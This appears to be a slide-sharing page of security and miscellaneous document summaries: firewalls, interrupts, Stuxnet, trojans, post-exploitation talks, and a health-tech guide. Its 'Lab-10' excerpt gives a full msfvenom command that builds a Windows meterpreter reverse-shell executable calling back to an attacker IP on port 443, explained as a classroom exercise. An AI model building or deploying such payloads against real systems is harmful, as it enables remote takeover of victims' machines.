It provides information on installing and using Comodo Firewall 10, including its functions like permitting selective internet access for applications, tracking hacker attempts, and quarantining browser activities. It outlines the features of Comodo Firewall like different modes and the pros and cons. It also summarizes key features of the Windows 10 firewall like blocking unauthorized network traffic in both directions and integrating with network awareness settings.
[CB19] Hardware Wallet Security
In the time when software is so complex and rapidly changing so, the users cannot trust their own computers and smartphones to protect their secrets from attackers, more and more solutions rely on hardware to be the last measure of protection. As a result, there are a number of manufacturers developing hardware wallets which are meant to protect cryptocurrency private keys.
This talk presents a wide range of attacks, which can be successfully applied to most popular hardware wallets on the market, from app isolation bypass to fault injection attacks on the microcontroller. Additionally the talk presents secure design requirements and countermeasures making life of an attacker much more difficult, which are applicable to all kings of secure hardware devices.
Vino's 8086 interrupts
Interrupts are signals that cause the CPU to halt its current execution and transfer control to an interrupt service routine (ISR). There are three main types of interrupts: external hardware interrupts from devices, internal hardware interrupts from processor exceptions, and software interrupts generated by executing an instruction. Interrupts can also be classified as maskable or non-maskable, with non-maskable interrupts unable to be disabled. Hardware interrupts come from external signals to the NMI or INTR lines and cause the CPU to save its context before looking up and executing the appropriate ISR. Software interrupts are treated similarly but are generated internally and allow for system calls through numbered interrupts.
Trojan
This document discusses trojans, which are programs used to gain unauthorized access to a victim's computer. It outlines different types of trojans like remote access trojans and password stealing trojans. It describes how trojans work by having both a client and server component, where the server gets installed on the victim's machine and allows the attacker to control it remotely using the client. The document provides examples of trojan attacks and discusses internet security, securing corporate and personal networks, as well as network and host level threats and countermeasures.
امن الشبكات
The document discusses securing network devices through strong passwords that avoid dictionary words and include alphanumeric characters and symbols that are changed frequently. It also recommends implementing privilege levels, monitoring VTY logging, following the AutoSecure process which identifies interfaces and secures management and forwarding planes, and conducting a CCP security audit which shuts down unneeded services, applies firewalls to outside interfaces, disables SNMP if unused, and enforces ACLs.
Firewall
Firewalls are hardware or software that filter traffic between private and public networks like the internet. They examine incoming and outgoing messages and block those that don't meet security criteria. Common types include packet filters, stateful inspection firewalls, application proxies, and circuit-level proxies. Packet filters apply rules to IP packets while stateful inspection firewalls track TCP connection states. Application proxies act as a relay for application traffic and can be more secure but have higher processing overhead.

Interrupts
This document discusses interrupts, which are unexpected hardware-initiated subroutine calls that temporarily suspend program execution. There are different types of interrupts, including external, internal, software, and hardware interrupts. Interrupts are used for input/output data transfers with peripheral devices, emergency situations, event-driven programs, and real-time applications. When an interrupt occurs, the processor's status is saved and it branches to an interrupt service routine to handle the interrupt before returning to the main program.
I Heart Stuxnet
This document summarizes the Stuxnet computer worm, which targeted industrial control systems. It provides a timeline of Stuxnet from 2008-2010, describes its infection mechanisms using zero-day exploits and stolen digital certificates. It explains how Stuxnet intercepted communications between Siemens Step 7 software and PLC controllers to reprogram industrial systems without detection. While the origins of Stuxnet are unknown, speculation points to the US, Israel, or other nation states as the likely creator in order to sabotage Iran's nuclear program.
Interrupts
This document provides an overview of interrupts in the 8086 microprocessor. It defines an interrupt as an event that breaks normal program execution to service an interrupt request. Interrupts can be triggered by hardware signals from peripherals or software interrupt instructions. The 8086 supports hardware interrupts on the INTR and NMI pins, which can be maskable or non-maskable. It also supports 256 software interrupt types. Common uses of interrupts include servicing devices like keyboards and handling exceptions.
Coa INTERUPT
The document discusses microprocessors and interrupts in computer systems. It describes how the first microprocessor was developed by Intel and Busicom in 1971. It then covers several Intel microprocessor models from the 4004 to the 8088 and beyond. The document also defines interrupts as signals that cause the CPU to pause its current task and service the interrupt. It distinguishes between maskable, non-maskable, software, and hardware interrupts and provides examples of each. Finally, it discusses the different software interrupts available in the 8085 microprocessor.

Stuxnet mass weopan of cyber attack
Stuxnet is a computer worm that targets industrial control systems and was the first discovered malware that spies on and subverts industrial systems. It uses zero-day exploits to spread via USB drives to programmable logic controllers, sabotaging operations by overriding input/output functions without the operator's knowledge. The sophisticated worm was likely developed with stolen technical specifications and digital certificates to infiltrate targeted Iranian nuclear facilities.

1) Rogue cell towers can manipulate devices by changing network settings and pushing malicious software updates. They have the ability to intercept and redirect all network traffic after compromising a device.
2) A rogue tower can emulate a cell tower and force nearby devices to connect to it. Once connected, it can run scripts to detect device details, push arbitrary code updates, and configure persistent man-in-the-middle attacks by changing APN settings.
3) Field tests showed a rogue tower was able to identify phone models from up to 15 km away and then remotely force software updates that maintained persistent access, even on devices that normally restrict over-the-air updates. However, such attacks are generally not
Stuxnet - Case Study
Stuxnet is a sophisticated malware that targeted Siemens supervisory control and data acquisition (SCADA) systems. It used multiple zero-day exploits to spread via USB devices and network shares to infect SCADA systems indirectly connected to the internet. Stuxnet installed rootkits to hide its files and injected itself into processes to remain undetected while sabotaging its targets. It was the first malware known to target and damage physical infrastructure.

Hacker Halted 2014 - Post-Exploitation After Having Remote Access
In theory, post-exploitation after having remote access is easy. Also in theory, there is no difference between theory and practice. In practice, there is. Imagine a scenario, where you have deployed a malware on a user’s workstation, but the target information is on a secure server accessed via two-factor authentication, with screen access only (e.g. RDP, Citrix, etc.). On top of that, the server runs application white-listing, and only the inbound port to the screen server (e.g. 3389) is allowed through the hardware firewall. But you also need persistent interactive C&C communication (e.g. Netcat, Meterpreter, RAT) to this server through the user’s workstation.
I developed (and will publish) two tools that help you in these situations. The first tool can drop malware to the server through the screen while the user is logged in. The second tool can help you to circumvent the hardware firewall after we can execute code on the server with admin privileges (using a signed kernel driver). My tools are generic meaning that they work against Windows server 2012 and Windows 8, and they work with RDP or other remote desktops. The number of problems you can solve with them are endless, e.g., communicating with bind-shell on webserver behind restricted DMZ. Beware, live demo and fun included!

Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
Lab-10: Malware Creation and Denial of Service (DoS)
In this lab, you will create a malware by using the Metasploit Framework. You will also launch as Denial of Service (DoS) attack.Section-1: Create a Malware
Hackers usually create malicious files for different purposes, such as command and control, defense evasion, and persistence. Pentesters create malicious files for ethical purposes, such as performing tests to check the strength of the existing countermeasures. In this lab, you will create a malicious file, and you will explore the strategies to evade the antivirus systems.
Method-1: Create a malicious file by using msfvenom
1) Log in to Kali VM on your personal computer (as set up in Lab 1).
2) Open a terminal window by clicking the terminal icon on the taskbar.
3) Type
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -f exe -o ethical.exe in terminal window and press enter.
You can copy this command and paste it to the terminal window of the Kali VM.
4) After running this command, a file named
ethical.exe will be created.
Notes:
msfvenom is a command-line tool within the Metasploit Framework. It is used to create payloads such as malicious executables such as shellcodes and reverse shells. This page shows the different kinds of malicious shells that can be made by using msfvenom. Have a look at the headings:
https://burmat.gitbook.io/security/hacking/msfvenom-cheetsheet. If you want to learn more about msfvenom, refer to
https://www.offensive-security.com/metasploit-unleashed/msfvenom/
LHOST (Local Host): Specifies the attacker's IP address. When the victim runs this executable, it will establish a connection to that IP address. The IP address is 10.10.10.10. It is a randomly selected IP, and you will not connect to that IP in this lab.
LPORT (Local Port): Specifies the port on which the attacker machine (10.10.10.10) will listen to incoming connections from the victim machine. In this example, when the victim runs the executable, the victim's computer will create a connection to port 443 at the attacker machine (10.10.10.10). After the victim makes a connection to the attacker machine, the attacker can start performing malicious activities, including controlling the victim machine, accessing sensitive information, deleting files, etc.
Using port 443 in this malicious activity is the safest way for hackers because it is one of the ports that is not blocked by the firewalls and routers on the Internet and LANs (Local Area Networks). It is the default port for TLS traffic. (Mostly encrypted web traffic)
Msfvenom uses reverse_https payload to create a malicious file. The malicious file will then make a reverse https connection between the victim's and the attacker's computers once initiated by the victim.
The other parameters of msfvenom are relatively more straightforward. x86 specifies t.

Lab-2 Buffer Overflow In this lab, you will gain insight
Lab-2: Buffer Overflow
In this lab, you will gain insights into the buffer overflow vulnerability. You will analyze a vulnerable program by using a debugger to exploit the vulnerability.
Buffer overflow vulnerability is the root cause of the many vulnerabilities in software products; in this regard, it is a significant security problem today.
There are many different types of buffer overflow. They have been categorized under 9 CWEs in
https://cwe.mitre.org/data/definitions/1218.html.
Poor coding practices cause buffer overflow vulnerability. It is the fact that strongly typed programming languages, such as Java, C++, have automatic bound checks and memory management. The real problem comes with low-level programming languages. For instance, C and Python are such programming languages. They are not strongly typed languages; however, they are used for their advantages, flexibility, no performance issues, coders are free to code. Programmers should always check the inputs in their programs and use functions that do bounds checking if they are using low-level programming languages.
The topology of the Lab-2 is quite simple. You will be using both computers. It is recommended to undock both virtual machines to prevent going back and forth between the computers.
Windows 7 Target has an executable program named
vulnserver. It is written in C. This network program listens on port 9999 once executed, meaning that Windows 7 Target will start listening on TCP 9999.
There are three Python codes on Kali Linux. All of the codes create a TCP 9999 connection on Windows 7 Target. The first code sends some bytes to the vulnserver service (nocrash.py). The second code crashes the vulnserver by overflowing the buffer of the service (crash.py). This code is also named proof of concept. The third code gets a remote shell from the Windows 7 Target by exploiting the buffer overflow vulnerability (remote_shell.py). The exploitation code (remote_shell.py) is developed by debugging the vulnserver program and by changing the proof of concept code as needed. Section-1: Explore the Vulnerable Network Service
In this section, you will explore the remote service you will start on Windows 7 Target computer.
1. Log in to the Netlab environment.
2. Open
Windows 7 Target from the list of computers on the top menu bar.
Click on
Windows 7 Target on the top menu bar, and click

This command shows the list of open TCP ports on Windows 7 Target computer. The first option (a) shows all established connections and listening ports. The second option (n) makes netstat display IP addresses and port numbers instead of hostnames and service names; ...
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
In theory, post-exploitation after having remote access is easy. Also in theory, there is no difference between theory and practice. In practice, there is. Imagine a scenario, where the hacker/penetration-tester has deployed a malware on a user's workstation, but the target information is on a secure server accessed via two-factor authentication, with screen access only (e.g. RDP, Citrix, etc.) On top of that, the server runs application white-listing, and only the inbound port to the screen server (e.g. 3389) is allowed through the hardware firewall. But you also need persistent interactive C&C communication (e.g. Netcat, Meterpreter, RAT) to this server through the user's workstation.
I developed (and will publish) two tools that help the community in these situations. The first tool can drop malware to the server through the screen while the user is logged in. The second tool can help to circumvent the hardware firewall after one can execute code on the server with admin privileges (using a signed kernel driver). My tools have been tested against Windows server 2012 and Windows 8, and they work with RDP or other remote desktops (e.g. Citrix). The number of problems one can solve with them are endless, e.g., communicating with bind-shell on webserver behind restricted DMZ. Beware, live demo and fun included!

[9] Firewall.pdf
A firewall is a system designed to restrict access between networks and protect private network resources. It imposes a gateway machine between the outside world and private network that software uses to decide whether to allow or reject incoming traffic. Firewalls implement security policies at a single point and monitor security events while providing strong authentication and allowing virtual private networks on a specially hardened operating system. Common types include packet filtering routers, application-level gateways, and circuit-level gateways, with hybrid firewalls combining techniques.

Sample Network Analysis Report based on Wireshark Analysis
This network analysis report examines a packet capture file containing traffic between two internal hosts downloading a file from a remote server. The analysis found that one internal host, with IP ending in 1.119, experienced significant packet loss during the download, as shown by drops in throughput and bursts of TCP errors. This packet loss indicates a potential failure at an infrastructure device, likely causing the observed retransmissions and degradation in performance. Further analysis of ingress traffic is needed to determine if the packet loss is occurring internally or externally to the network.

Port of Charleston evacuation case study: The cognitive threat of conspiracy ...
The document summarizes a study on how Live Action Role Play (LARP) simulations can create cognitive threat vectors using the example of two YouTube conspiracy theorists, Jason Goodman and George Webb. In June 2017, they created a sense of hysteria among their online fans by claiming a container ship was sailing into the Port of Charleston with a dirty bomb onboard, leading to the port's evacuation. The document argues this "crowdsourcing" format can weaponize sensationalized information and represents an emerging threat that critical infrastructure operators need to be aware of. It can potentially lead unwitting participants to engage in criminal acts or attacks in response to implied calls for action by the game's controllers.

The Ultimate Guide in Setting Up Market Research System in Health-Tech
How to effectively start market research in the health tech industry by defining objectives, crafting problem statements, selecting methods, identifying data collection sources, and setting clear timelines. This guide covers all the preliminary steps needed to lay a strong foundation for your research.
"Market Research it too text-booky, I am in the market for a decade, I am living research book" this is what the founder I met on the event claimed, few of my colleagues rolled their eyes. Its true that one cannot over look the real life experience, but one cannot out beat structured gold mine of market research.
Many 0 to 1 startup founders often overlook market research, but this critical step can make or break a venture, especially in health tech.
But Why do they skip it?
Limited resources—time, money, and manpower—are common culprits.
"In fact, a survey by CB Insights found that 42% of startups fail due to no market need, which is like building a spaceship to Mars only to realise you forgot the fuel."
Sudharsan Srinivasan
Operational Partner Pitchworks VC Studio
Overconfidence in their product’s success leads founders to assume it will naturally find its market, especially in health tech where patient needs, entire system issues and regulatory requirements are as complex as trying to perform brain surgery with a butter knife. Additionally, the pressure to launch quickly and the belief in their own intuition further contribute to this oversight. Yet, thorough market research in health tech could be the key to transforming a startup's vision into a life-saving reality, instead of a medical mishap waiting to happen.
Example of Market Research working
Innovaccer, founded by Abhinav Shashank in 2014, focuses on improving healthcare delivery through data-driven insights and interoperability solutions. Before launching their platform, Innovaccer conducted extensive market research to understand the challenges faced by healthcare organizations and the potential for innovation in healthcare IT.
Identifying Pain Points: Innovaccer surveyed healthcare providers to understand their difficulties with data integration, care coordination, and patient engagement. They found widespread frustration with siloed systems and inefficient workflows.
Competitive Analysis: Analyzed competitors offering similar solutions in healthcare analytics and interoperability. Identified gaps in comprehensive data aggregation, real-time analytics, and actionable insights.
Regulatory Compliance: Ensured their platform complied with HIPAA and other healthcare data privacy regulations. This compliance was crucial to gaining trust from healthcare providers wary of data security issues.
Customer Validation: Conducted pilot programs with several healthcare organizations to validate the platform's effectiveness in improving care outcomes and operational efficiency. Gathered feedback to refine features and user interface.

Digital India will need a big trained army of Health Informatics educated & trained manpower in India.
Presently, generalist IT manpower does most of the work in the healthcare industry in India. Academic Health Informatics education is not readily available at school & health university level or IT education institutions in India.
We look into the evolution of health informatics and its applications in the healthcare industry.
HIMMS TIGER resources are available to assist Health Informatics education.
Indian Health universities, IT Education institutions, and the healthcare industry must proactively collaborate to start health informatics courses on a big scale. An advocacy push from various stakeholders is also needed for this goal.
Health informatics has huge employment potential and provides a big business opportunity for the healthcare industry. A big pool of trained health informatics manpower can lead to product & service innovations on a global scale in India.

This slide is very helpful for physiotherapy students and also for other medical and healthcare students.
Here is a summary of Pneumothorax:
Pneumothorax, also known as a collapsed lung, is a condition that occurs when air leaks into the space between the lung and chest wall. This air buildup puts pressure on the lung, preventing it from expanding fully when you breathe. A pneumothorax can cause a complete or partial collapse of the lung.

Disabling Ports 135 and 445 to protect the Road Warrior
- 1. Windows Firewall Page 1 Security Instructions to close down unused laptop ports Written by: Dave Sweigert, CISSP, CISA, PMP ABSTRACT: Laptop users (road warriors) that are not usually operating within a local area network infrastructure behind a firewall may have certain communications ports enabled that place them at greater risk in public WiFi (wireless access) points. INTRODUCTION: This white paper will provide instructions on how to disable communications Ports 135 and 445 on a laptop used in a public wireless environment. Users should disable one port at a time, monitor the operation of their business critical applications, then enable another port after the observation period.. Again, monitor behavior then proceed. These instructions assume use of Windows 7. METHODS: Step One: Locate System Security tab from Control Panel by pressing the Microsoft Windows logo in the lower left area of your desktop.
- 2. Windows Firewall Page 2 Step Two: Locate the FIREWALL capability. Step Three: Click Advanced Settings
- 3. Windows Firewall Page 3 Step Four: Click INBOUND RULES on the left tool bar and observe NEW RULE in the right hand tool bar. Step Five: Click NEW RULE then observe a new dialogue box, click PORT.
- 4. Windows Firewall Page 4 Step Six: Enter NEXT then observe SPECIFIED LOCAL PORTS; enter 135 then NEXT DISCUSSION: Well known malware Root kits can use port 135 to transmit data back to home base and download more malware. An attacker who can access TCP or ports 135, 139 or 445 could execute arbitrary code with Local System privileges. This allows the attacker to gain complete control over the exploited system. On systems protected by an infrastructure firewall, it is a standard practice to block these ports due to the known associated risks.
- 6. Windows Firewall Page 6 Step Seven: Select BLOCK the connection and enter NEXT.
- 7. Windows Firewall Page 7 Step Eight: Leave all check marks in-place and proceed with NEXT.
- 8. Windows Firewall Page 8 Step Nine: Apply a suitable name to this rule; such as “Block Inbound Port 135”.
- 9. Windows Firewall Page 9 Step Ten: Observe the new rule. Repeat the same process for OUTBOUND Port 135. After a positive observation period, repeat for Port 445 (notice OUTBOUND RULES below). RESULTS: Inbound and Outbound attempts to use these ports will be disabled. In sum, these ports are considered unnecessary in a WiFi public setting and are considered another gateway for malicious software and hacker activities.
